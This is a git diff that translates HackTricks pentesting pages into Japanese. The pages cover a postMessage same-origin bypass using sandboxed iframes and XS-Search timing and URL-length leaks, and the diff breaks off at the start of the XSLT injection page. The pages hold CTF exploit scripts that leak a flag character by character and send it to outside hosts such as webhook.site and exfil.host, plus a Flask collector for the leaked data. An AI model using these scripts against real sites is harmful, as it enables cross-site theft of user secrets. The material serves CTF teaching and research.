☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md b/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md index f8764556b..e826924d0 100644 --- a/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md +++ b/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md @@ -1,96 +1,91 @@ -# Bypassing SOP with Iframes - 1 +# SOPをバイパスするためのIframes - 1
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## Iframes in SOP-1 - -In this [**challenge**](https://github.com/terjanq/same-origin-xss) created by [**NDevTK**](https://github.com/NDevTK) and [**Terjanq**](https://github.com/terjanq) you need you need to exploit a XSS in the coded +## SOP-1のIframes +[**NDevTK**](https://github.com/NDevTK)と[**Terjanq**](https://github.com/terjanq)によって作成されたこの[**チャレンジ**](https://github.com/terjanq/same-origin-xss)では、コード内のXSSを悪用する必要があります。 ```javascript const identifier = '4a600cd2d4f9aa1cfb5aa786'; onmessage = e => { - const data = e.data; - if (e.origin !== window.origin && data.identifier !== identifier) return; - if (data.type === 'render') { - renderContainer.innerHTML = data.body; - } +const data = e.data; +if (e.origin !== window.origin && data.identifier !== identifier) return; +if (data.type === 'render') { +renderContainer.innerHTML = data.body; +} } ``` +主な問題は、[**メインページ**](https://so-xss.terjanq.me)がDomPurifyを使用して`data.body`を送信するため、そのコードに独自のHTMLデータを送信するには`e.origin !== window.origin`を**バイパス**する必要があることです。 -The main problem is that the [**main page**](https://so-xss.terjanq.me) uses DomPurify to send the `data.body`, so in order to send your own html data to that code you need to **bypass** `e.origin !== window.origin`. +彼らが提案する解決策を見てみましょう。 -Let's see the solution they propose. +### SOPバイパス1(e.origin === null) -### SOP bypass 1 (e.origin === null) +`//example.org`が**サンドボックス化されたiframe**に埋め込まれると、ページの**オリジン**は**`null`**になります。つまり、**`window.origin === null`**です。したがって、`` - console.log('iframe: ', iframe) - hack.innerHTML = iframe - } - , 500); - +timerId = setInterval(() => { +if (candidateIsGood) { +flag = candidate +guessIndex = -1 +fetch('https://webhook.site/?flag='+flag) +} + +//Start with true and will be change to false if wrong +candidateIsGood = true +guessIndex++ +if (guessIndex >= flagChars.length) { +fetch('https://webhook.site/') +return +} +let guess = flagChars[guessIndex] +candidate = flag + guess +let iframe = `` +console.log('iframe: ', iframe) +hack.innerHTML = iframe +} +, 500); +

hello

``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/pentesting-web/xs-search/performance.now-+-force-heavy-task.md b/pentesting-web/xs-search/performance.now-+-force-heavy-task.md index 00685b9b3..424bb0fc0 100644 --- a/pentesting-web/xs-search/performance.now-+-force-heavy-task.md +++ b/pentesting-web/xs-search/performance.now-+-force-heavy-task.md @@ -1,25 +1,24 @@ -# performance.now + Force heavy task +# performance.now + 強制的な重いタスク
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-Exploit taken from [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/) +[https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)からのエクスプロイト -In this challenge the user could sent thousands of chars and if the flag was contained, the chars would be sent back to the bot. So putting a big amount of chars the attacker could measure if the flag was containing in the sent string or not. +このチャレンジでは、ユーザーは数千の文字を送信することができ、もしフラグが含まれていれば、文字はボットに送り返されます。したがって、攻撃者は大量の文字を送信することで、フラグが送信された文字列に含まれているかどうかを測定することができます。 {% hint style="warning" %} -Initially, I didn’t set object width and height, but later on, I found that it’s important because the default size is too small to make a difference in the load time. +最初はオブジェクトの幅と高さを設定していませんでしたが、後で重要であることがわかりました。デフォルトのサイズは読み込み時間に差をつけるには小さすぎます。 {% endhint %} - ```html @@ -27,105 +26,102 @@ Initially, I didn’t set object width and height, but later on, I found that it - - +if (notFound > found) { +return +} + +// exploit +while(true) { +if (flag[flag.length - 1] === '}') { +break +} +for(let char of charset) { +let trying = flag + char +let time = 0 +for(let i=0; i<3; i++) { +time += await leak(trying) +} +time/=3 +send('char:'+trying+',time:'+time) +if (time >= threshold) { +flag += char +send(flag) +break +} +} +} +} + +main() + + ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/pentesting-web/xs-search/performance.now-example.md b/pentesting-web/xs-search/performance.now-example.md index 8c45b19cc..7741215d3 100644 --- a/pentesting-web/xs-search/performance.now-example.md +++ b/pentesting-web/xs-search/performance.now-example.md @@ -1,69 +1,67 @@ -# performance.now example +# performance.nowの例
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-Example taken from [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api) - +[https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)からの例です。 ```javascript const sleep = (ms) => new Promise((res) => setTimeout(res, ms)); async function check(flag) { - let w = frame.contentWindow; - w.postMessage({'op': 'preview', 'payload': ''}, '*'); - await sleep(1); - w.postMessage({'op': 'search', 'payload': flag}, '*'); - let t1 = performance.now(); - await sleep(1); - return (performance.now() - t1) > 200; +let w = frame.contentWindow; +w.postMessage({'op': 'preview', 'payload': ''}, '*'); +await sleep(1); +w.postMessage({'op': 'search', 'payload': flag}, '*'); +let t1 = performance.now(); +await sleep(1); +return (performance.now() - t1) > 200; } async function main() { - let alpha = 'abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}'; - window.frame = document.createElement('iframe'); - frame.width = '100%'; - frame.height = '700px'; - frame.src = 'https://challenge.jsapi.tech/'; - document.body.appendChild(frame); - await sleep(1000); +let alpha = 'abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}'; +window.frame = document.createElement('iframe'); +frame.width = '100%'; +frame.height = '700px'; +frame.src = 'https://challenge.jsapi.tech/'; +document.body.appendChild(frame); +await sleep(1000); - let flag = 'nite{'; - while(1) { - for(let c of alpha) { - let result = await Promise.race([ - check(flag + c), - new Promise((res) => setTimeout(() => { res(true); }, 300)) - ]); - console.log(flag + c, result); - if(result) { - flag += c; - break; - } - } - new Image().src = '//exfil.host/log?' + encodeURIComponent(flag); - } +let flag = 'nite{'; +while(1) { +for(let c of alpha) { +let result = await Promise.race([ +check(flag + c), +new Promise((res) => setTimeout(() => { res(true); }, 300)) +]); +console.log(flag + c, result); +if(result) { +flag += c; +break; +} +} +new Image().src = '//exfil.host/log?' + encodeURIComponent(flag); +} } document.addEventListener('DOMContentLoaded', main); ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝したいですか**?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたり**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/pentesting-web/xs-search/url-max-length-client-side.md b/pentesting-web/xs-search/url-max-length-client-side.md index 22faee4ed..2ae4967b9 100644 --- a/pentesting-web/xs-search/url-max-length-client-side.md +++ b/pentesting-web/xs-search/url-max-length-client-side.md @@ -1,57 +1,54 @@ -# URL Max Length - Client Side +# URLの最大長 - クライアントサイド
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-Code copied from [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit) - +[https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)からコードをコピーしました。 ```html ``` - -Server side: - +サーバーサイド: ```python from flask import Flask, request @@ -62,34 +59,33 @@ chars = [] @app.route('/', methods=['GET']) def index(): - global chars - - nope = request.args.get('nope', '') - if nope: - chars.append(nope) +global chars - remaining = [c for c in CHARSET if c not in chars] +nope = request.args.get('nope', '') +if nope: +chars.append(nope) - print("Remaining: {}".format(remaining)) +remaining = [c for c in CHARSET if c not in chars] - return "OK" +print("Remaining: {}".format(remaining)) + +return "OK" @app.route('/exploit.html', methods=['GET']) def exploit(): - return open('exploit.html', 'r').read() +return open('exploit.html', 'r').read() if __name__ == '__main__': - app.run(host='0.0.0.0', port=1337) +app.run(host='0.0.0.0', port=1337) ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/pentesting-web/xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md b/pentesting-web/xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md index 0a2d263d3..78a4d4311 100644 --- a/pentesting-web/xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md +++ b/pentesting-web/xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md @@ -1,138 +1,130 @@ -# XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations) +# XSLTサーバーサイドインジェクション(Extensible Stylesheet Language Transformations)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS 